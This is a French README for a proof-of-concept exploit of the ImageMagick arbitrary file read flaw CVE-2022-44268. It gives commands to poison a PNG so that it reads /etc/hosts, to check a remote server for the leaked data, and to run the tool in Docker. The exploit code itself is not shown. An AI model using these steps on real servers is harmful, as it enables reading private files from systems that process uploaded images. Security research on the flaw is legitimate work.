CVE-2022-44268 🧙‍♂️

CVE-2022-44268 ImageMagick Lecture de fichier arbitraire - Preuve de concept d'exploit

Vidéo 📼

https://youtu.be/quKxwNAMBIA

Utilisation 🛠

Empoisonner l'image ☣️

python3 CVE-2022-44268.py --image imagetopoison.png --file-to-read /etc/hosts --output poisoned.png

Télécharger l'image PNG empoisonnée.

Vérifier si l'exploit a réussi 🗡

python3 CVE-2022-44268.py --url http://vulnerable-imagemagick.com/uploads/vulnerable.png

Exécution avec Docker 🐳

Construction

docker build -t cve-2022-44268 .

Exécution

docker run -v $(pwd)/data:/data -ti cve-2022-44268 --image /data/random.png --file-to-read "/etc/hosts" --output /data/poisoned.png

Paramètres 🧰

Contactez-moi📇

Twitter - Milan Jovic

LinkedIn - Milan Jovic

À des fins éducatives uniquement et ne peut être utilisé pour enfreindre la loi ou à des fins personnelles.

L'auteur de ce projet n'est pas responsable des éventuels dommages causés par les matériaux de ce projet.

Plus de détails : https://www.metabaseq.com/imagemagick-zero-days/